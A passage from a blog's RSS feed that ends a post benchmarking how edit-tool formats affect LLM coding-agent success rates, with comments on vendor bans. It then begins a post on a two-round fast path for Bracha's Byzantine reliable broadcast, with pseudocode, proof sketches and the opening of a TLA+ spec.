&lt;p&gt;3 runs per task, 180 tasks per run. Fresh agent session each time, four tools (read, edit, write). We simply give it a temporary workspace, pass the prompt, and once the agent stops, we compare against the original file before and after formatting.&lt;/p&gt;
&lt;p&gt;Sixteen models, three edit tools, and the outcome is unambiguous: &lt;strong&gt;patch is the worst format for nearly every model, hashline matches or beats replace for most, and the weakest models gain the most.&lt;/strong&gt; Grok Code Fast 1 went from 6.7% to 68.3%, a tenfold improvement, because patch was failing so catastrophically that the model&amp;rsquo;s actual coding ability was almost completely hidden behind mechanical edit failures. MiniMax more than doubled. Grok 4 Fast&amp;rsquo;s output tokens dropped 61% because it stopped burning tokens on retry loops.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x4-so-what"&gt;&lt;span class="hx"&gt;0x4:&lt;/span&gt; So What?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;+8% improvement in the success rate of Gemini is bigger than most model upgrades deliver, and it cost zero training compute.&lt;/strong&gt; Just a little experimenting (and ~$300 spent benchmarking).&lt;/p&gt;
&lt;p&gt;Often the model isn&amp;rsquo;t flaky at understanding the task. It&amp;rsquo;s flaky at expressing itself. You&amp;rsquo;re blaming the pilot for the landing gear.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x5-little-bit-about-the-vendors"&gt;&lt;span class="hx"&gt;0x5:&lt;/span&gt; Little Bit About the Vendors&lt;/h2&gt;
&lt;p&gt;Anthropic recently &lt;a href="https://news.ycombinator.com/item?id=46625918"&gt;blocked OpenCode&lt;/a&gt;, a massively popular open-source coding agent, from accessing Claude through Claude Code subscriptions.&lt;/p&gt;
&lt;p&gt;Anthropic&amp;rsquo;s position &amp;ldquo;OpenCode reverse-engineered a private API&amp;rdquo; is fair on its face. Their infrastructure, their rules. But look at what the action signals:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Don&amp;rsquo;t build harnesses. Use ours.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s not just Anthropic either. While writing this article, Google banned my account from Gemini entirely:&lt;/p&gt;
&lt;p&gt;&lt;img src="gemini-ban.png" alt="Google disabled my Gemini account"&gt;&lt;/p&gt;
&lt;p&gt;Not rate-limited. Not warned. &lt;strong&gt;Disabled&lt;/strong&gt;. For running a benchmark — the same one that showed Gemini 3 Flash hitting 78.3% with a novel technique that beats their best attempt at it by 5.0 pp. I don&amp;rsquo;t even know what for.&lt;/p&gt;
&lt;p&gt;Here is why that is backwards. I just showed that a different edit format improves &lt;em&gt;their own models&lt;/em&gt; by 5 to 14 points while cutting output tokens by ~20%. That&amp;rsquo;s not a threat. It&amp;rsquo;s free R&amp;amp;D.&lt;/p&gt;
&lt;p&gt;No vendor will do harness optimization for competitors&amp;rsquo; models. Anthropic won&amp;rsquo;t tune for Grok. xAI won&amp;rsquo;t tune for Gemini. OpenAI won&amp;rsquo;t tune for Claude. But an open-source harness tunes for all of them, because contributors use different models and fix the failures they personally encounter.&lt;/p&gt;
&lt;p&gt;The model is the moat. The harness is the bridge. Burning bridges just means fewer people bother to cross. &lt;strong&gt;Treating harnesses as solved, or even inconsequential, is very short-sighted.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;I come from a background of game security. Cheaters are hugely destructive to the ecosystem. Sure, they get banned, chased, sued, but a well-known secret is that eventually the security team asks, &amp;ldquo;Cool! Want to show us how you got around that?&amp;rdquo;, and they join the defense.&lt;/p&gt;
&lt;p&gt;The correct response when someone messes with your API, and manages to gather a significant following using their tools is &amp;ldquo;tell us more&amp;rdquo;, not &amp;ldquo;let&amp;rsquo;s blanket-ban them in thousands; plz beg in DMs if you want it reversed tho.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The harness problem is real, measurable, and it&amp;rsquo;s the highest-leverage place to innovate right now. The gap between &amp;ldquo;cool demo&amp;rdquo; and &amp;ldquo;reliable tool&amp;rdquo; isn&amp;rsquo;t model magic. It&amp;rsquo;s careful, rather boring, empirical engineering at the tool boundary.&lt;/p&gt;
&lt;p&gt;The harness problem will be solved. The question is whether it gets solved by one company, in private, for one model, or by a community, in the open, for all of them.&lt;/p&gt;
&lt;p&gt;The benchmark results speak for themselves.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;All code, benchmarks, and per-run reports:&lt;/em&gt; &lt;a href="https://github.com/can1357/oh-my-pi/tree/main/packages/react-edit-benchmark"&gt;oh-my-pi&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Optimizing Bracha's Reliable Broadcast: Shaving Rounds off a 37-Year-Old Algorithm</title><link>https://blog.can.ac/2025/12/25/optimizing-brachas-reliable-broadcast/</link><pubDate>Thu, 25 Dec 2025 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2025/12/25/optimizing-brachas-reliable-broadcast/</guid><description>&lt;p&gt;Bracha&amp;rsquo;s reliable broadcast has been the go-to Byzantine broadcast primitive since 1987. Three rounds, \(O(n^2)\) messages, optimal fault tolerance at \(n &amp;gt; 3f\). Textbook stuff.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve been trying to get a fast multi-value agreement primitive: something where all nodes propose values and agree on one (or ⊥ if they&amp;rsquo;re hopelessly split). Reliable broadcast is the natural building block, but three rounds felt like overkill for the happy path.&lt;/p&gt;
&lt;p&gt;So I went digging. Months of searching the literature turned up plenty of options, but they all came with catches: weaker fault models, synchrony assumptions, trusted setups. Nothing that felt like a clean win. Eventually I circled back to Bracha and noticed something hiding in plain sight: by using a &lt;em&gt;larger&lt;/em&gt; quorum for the optimistic path, we can deliver in two rounds when conditions are good. No new assumptions. Same fault tolerance. Just better intersection properties.&lt;/p&gt;
&lt;p&gt;This post covers the optimized broadcast and the MVA extension I built on top of it.&lt;/p&gt;
&lt;h2 id="0x0-quick-refresher-on-bracha"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt; Quick Refresher on Bracha&lt;/h2&gt;
&lt;p&gt;Byzantine reliable broadcast solves a &lt;strong&gt;deceptively&lt;/strong&gt; simple problem: a designated leader wants to broadcast a value \(v\) to \(n\) parties, where up to \(f &amp;lt; n/3\) can be malicious (&lt;a href="https://lamport.azurewebsites.net/pubs/byz.pdf"&gt;Byzantine&lt;/a&gt;). The protocol must guarantee that all honest parties either agree on the same value or don&amp;rsquo;t deliver anything at all, but no split-brain scenarios allowed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Asynchronous model&lt;/strong&gt; is the hardest setting for distributed protocols. Messages can be delayed arbitrarily by the adversary, there are no timeouts or clocks you can rely on, and you can&amp;rsquo;t tell a slow node from a dead one. The upside: protocols proven correct in this model stay safe no matter what happens with timing. The downside: you can&amp;rsquo;t guarantee termination if enough nodes are faulty (see &lt;a href="https://groups.csail.mit.edu/tds/papers/Lynch/jacm85.pdf"&gt;FLP impossibility&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quorum intersection&lt;/strong&gt; is the key trick. If you require \(n - f\) nodes to agree on something, any two such sets overlap. With \(n &amp;gt; 3f\), the overlap is at least \(f + 1\) nodes, so at least one is honest. This honest node &amp;ldquo;witnesses&amp;rdquo; both sets and can prevent conflicting decisions.&lt;/p&gt;
&lt;p&gt;Correctness of a solution boils down to three properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Agreement&lt;/strong&gt;: Honest parties that deliver, deliver the same value&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validity&lt;/strong&gt;: If the leader is honest and broadcasts \(v\), all honest parties eventually deliver \(v\)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Totality&lt;/strong&gt;: If one honest party delivers, all honest parties eventually deliver&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bracha&amp;rsquo;s protocol uses three message types across three rounds:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-pseudocode" data-lang="pseudocode"&gt;upon start as leader with input v:
send ⟨INIT, v⟩ to all
upon ⟨INIT, v⟩ from leader ∧ sentₑ = ⊥:
send ⟨ECHO, v⟩ to all; sentₑ ← v
upon E(v) ≥ n−f ∧ sentᵣ = ⊥:
send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(v) ≥ f+1 ∧ sentᵣ = ⊥: // Amplification
send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(v) ≥ n−f ∧ delivered = ⊥:
deliver(v)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Why the READY round? ECHOs alone can&amp;rsquo;t guarantee termination. A Byzantine leader can equivocate, sending different values to different parties, fragmenting honest echoes.&lt;/p&gt;
&lt;p&gt;Standard quorum intersection gives us \(n - 2f &amp;gt; f\) overlap between any two \((n-f)\)-sized sets. That&amp;rsquo;s enough honest overlap to prevent two conflicting values from &lt;em&gt;both&lt;/em&gt; reaching \(n-f\) ECHOs—but it doesn&amp;rsquo;t help when &lt;em&gt;neither&lt;/em&gt; value reaches threshold. A Byzantine leader can fragment honest echoes across multiple values, leaving everyone stuck. The READY round breaks the deadlock.&lt;/p&gt;
&lt;h2 id="0x1-the-counterintuitive-shortcut"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; The Counterintuitive Shortcut&lt;/h2&gt;
&lt;p&gt;The clue came from a &lt;a href="https://forum.cosmos.network/t/what-is-the-need-for-a-pre-vote-step-in-tendermint/533/6"&gt;Tendermint forum post&lt;/a&gt; explaining why their protocol needs a pre-vote phase. The observation: with \(n = 3f+1\) nodes, you need pre-vote. But with \(n = 5f+1\) nodes, you can skip it entirely.&lt;/p&gt;
&lt;p&gt;I stared at this for a while. How can adding nodes let you skip a round? Rounds exist to &lt;em&gt;do&lt;/em&gt; something. You can&amp;rsquo;t just add redundancy and magically skip a communication step&amp;hellip;&lt;/p&gt;
&lt;p&gt;However, it starts to make sense once you realize the extra nodes aren&amp;rsquo;t just redundancy. They change the &lt;em&gt;flavor&lt;/em&gt; of quorum intersection. Standard quorum intersection guarantees overlap, but that overlap might be almost entirely Byzantine. A larger quorum guarantees &lt;em&gt;honest&lt;/em&gt; nodes in the overlap. And honest nodes don&amp;rsquo;t equivocate. What if we had a majority of honest nodes right in there?&lt;/p&gt;
&lt;p&gt;We don&amp;rsquo;t need more nodes. We need a higher &lt;em&gt;threshold&lt;/em&gt; on the same nodes, which gives us the same stronger intersection property.&lt;/p&gt;
&lt;p&gt;Define three thresholds:&lt;/p&gt;
&lt;p&gt;\[
\begin{aligned}
Q &amp;amp;= n - f &amp;amp;&amp;amp;\text{(standard quorum)} \\
Q_o &amp;amp;= \lfloor n/2 \rfloor + f + 1 &amp;amp;&amp;amp;\text{(optimistic threshold)} \\
Q_a &amp;amp;= f + 1 &amp;amp;&amp;amp;\text{(amplification threshold)}
\end{aligned}
\]&lt;/p&gt;
&lt;p&gt;The magic is in \(Q_o\):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Lemma (Strong Intersection)&lt;/strong&gt;: Any two sets of size &lt;span class="math-inline"&gt;\(Q_o\)&lt;/span&gt; overlap in at least &lt;span class="math-inline"&gt;\(f&amp;#43;1\)&lt;/span&gt; &lt;em&gt;honest&lt;/em&gt; parties.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Proof&lt;/strong&gt;: Let \(S_1, S_2\) be sets of size \(Q_o\).&lt;/p&gt;
&lt;p&gt;\[
|S_1 \cap S_2| \geq 2Q_o - n = 2(\lfloor n/2 \rfloor + f + 1) - n \geq 2f + 1
\]&lt;/p&gt;
&lt;p&gt;Since at most \(f\) are Byzantine, the overlap contains at least \(f + 1\) honest parties. ∎&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s visualize why this matters. With \(n = 10\) and \(f = 3\):&lt;/p&gt;
&lt;style&gt;
.quorum-inline {
max-width: 864px;
aspect-ratio: 864/460;
}
@media (max-aspect-ratio: 1/1) {
.quorum-inline {
max-width: 500px;
aspect-ratio: 400/580;
}
}
&lt;/style&gt;
&lt;quorum-embed class="viz-embed quorum-inline"&gt;&lt;/quorum-embed&gt;
&lt;script src="./quorum/quorum.js" defer&gt;&lt;/script&gt;
&lt;p&gt;Fundamentally different from standard quorum intersection. With &lt;span class="math-inline"&gt;\(Q_o\)&lt;/span&gt; echoes for some value &lt;span class="math-inline"&gt;\(v\)&lt;/span&gt;, we know that &lt;span class="math-inline"&gt;\(\geq f&amp;#43;1\)&lt;/span&gt; honest parties echoed &lt;span class="math-inline"&gt;\(v\)&lt;/span&gt;. And honest parties echo exactly once. So no conflicting value can &lt;em&gt;ever&lt;/em&gt; reach &lt;span class="math-inline"&gt;\(Q_o\)&lt;/span&gt;, or even &lt;span class="math-inline"&gt;\(Q\)&lt;/span&gt;, since the remaining honest parties number at most &lt;span class="math-inline"&gt;\((n - f) - (f &amp;#43; 1) = n - 2f - 1 &amp;lt; Q - f\)&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;We can deliver before the READY round completes. READYs still propagate to ensure totality.&lt;/p&gt;
&lt;h2 id="0x2-round-optimized-bracha"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; Round-Optimized Bracha&lt;/h2&gt;
&lt;p&gt;The optimized protocol adds an &amp;ldquo;optimistic delivery&amp;rdquo; path:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-pseudocode" data-lang="pseudocode"&gt;upon ⟨INIT, v⟩ from leader ∧ sentₑ = ⊥:
send ⟨ECHO, v⟩ to all; sentₑ ← v
upon E(v) ≥ Qₒ ∧ delivered = ⊥: // Optimistic
if sentᵣ = ⊥: send ⟨READY, v⟩ to all; sentᵣ ← v
deliver(v); delivered ← v
upon E(v) ≥ Q ∧ sentᵣ = ⊥ ∧ delivered = ⊥: // Q echoes -&gt; ready
send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(v) ≥ Qₐ ∧ sentᵣ = ⊥ ∧ delivered = ⊥: // Amplification
send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(v) ≥ Q ∧ delivered = ⊥: // Standard delivery
if sentᵣ = ⊥: send ⟨READY, v⟩ to all; sentᵣ ← v
deliver(v); delivered ← v&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note on Totality:&lt;/strong&gt; When a process delivers via the optimistic path, it also sends &lt;code&gt;READY(v)&lt;/code&gt;, ensuring the value propagates through amplification. Even if only one correct process initially sees &lt;span class="math-inline"&gt;\(Q_o\)&lt;/span&gt; echoes (with Byzantine help), the resulting READY triggers amplification at other processes. Amplification requires only &lt;span class="math-inline"&gt;\(Q_a\)&lt;/span&gt; readies (no echo-backing), allowing the value to propagate to &lt;span class="math-inline"&gt;\(Q\)&lt;/span&gt; readies for standard delivery. READYs propagate progressively as they arrive at slower processes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Happy case&lt;/strong&gt; (honest leader, healthy network): All \(n - f\) honest parties ECHO the same value. If the network is well-synchronized, all honest ECHOs arrive quickly, often reaching &lt;span class="math-inline"&gt;\(Q_o\)&lt;/span&gt; before the READY phase begins.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adversarial case&lt;/strong&gt; (Byzantine leader or delayed messages): Some value reaches \(Q\) ECHOs but not \(Q_o\). Fall back to three rounds via READYs.&lt;/p&gt;
&lt;h3 id="safety-proof-sketch"&gt;Safety Proof Sketch&lt;/h3&gt;
&lt;p&gt;Three cases:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Two optimistic deliveries can&amp;rsquo;t conflict&lt;/strong&gt;: Both require \(Q_o\) ECHOs. By strong intersection, \(\geq f+1\) honest parties appear in both sets. But honest parties ECHO once. Contradiction.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Optimistic delivery blocks conflicting standard delivery&lt;/strong&gt;: If \(v\) gets \(Q_o\) ECHOs, at least \(Q_o - f \geq f + 1\) honest parties echoed \(v\). The remaining honest parties (\(\leq n - f - (f+1) = n - 2f - 1\)) plus \(f\) Byzantine can produce at most \(n - f - 1 &amp;lt; Q\) votes for any other value.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Standard paths use Bracha&amp;rsquo;s original safety&lt;/strong&gt;: Quorum intersection ensures agreement.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="the-tla-spec"&gt;The TLA+ Spec&lt;/h3&gt;
&lt;details&gt;
&lt;summary&gt;&lt;b&gt;bracha_opt.tla&lt;/b&gt; (&lt;a href="bracha_opt.tla" download&gt;download&lt;/a&gt;)&lt;/summary&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;--------------------&lt;/span&gt; &lt;span class="n"&gt;MODULE&lt;/span&gt; &lt;span class="n"&gt;bracha_opt&lt;/span&gt; &lt;span class="o"&gt;--------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Optimized&lt;/span&gt; &lt;span class="n"&gt;Bracha&lt;/span&gt; &lt;span class="n"&gt;Reliable&lt;/span&gt; &lt;span class="n"&gt;Broadcast&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Fast&lt;/span&gt; &lt;span class="ne"&gt;Path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;===================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Can&lt;/span&gt; &lt;span class="n"&gt;Bölük&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;April&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2025.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Single&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;leader&lt;/span&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;reliable&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;optimistic&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;round&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;delivery&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Falls&lt;/span&gt; &lt;span class="n"&gt;back&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;standard&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;round&lt;/span&gt; &lt;span class="n"&gt;Bracha&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;conditions&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;adversarial&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Properties&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Agreement&lt;/span&gt; &lt;span class="n"&gt;All&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;parties&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;same&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Validity&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt; &lt;span class="n"&gt;its&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Totality&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;delivers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;eventually&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Termination&lt;/span&gt; &lt;span class="n"&gt;All&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;parties&lt;/span&gt; &lt;span class="n"&gt;eventually&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Synchrony&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Safety&lt;/span&gt; &lt;span class="n"&gt;holds&lt;/span&gt; &lt;span class="n"&gt;under&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;asynchrony&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Termination&lt;/span&gt; &lt;span class="n"&gt;requires&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;partial&lt;/span&gt; &lt;span class="n"&gt;synchrony&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bounded&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;GST&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Fault&lt;/span&gt; &lt;span class="n"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="n"&gt;faulty&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;send&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;recipients&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Modeled&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;partition&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="n"&gt;assigning&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;party&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;broadcasters&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;send&lt;/span&gt; &lt;span class="n"&gt;arbitrary&lt;/span&gt; &lt;span class="n"&gt;ECHO&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EXTENDS&lt;/span&gt; &lt;span class="n"&gt;Naturals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FiniteSets&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TLC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Protocol&lt;/span&gt; &lt;span class="n"&gt;Parameters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CONSTANTS&lt;/span&gt;
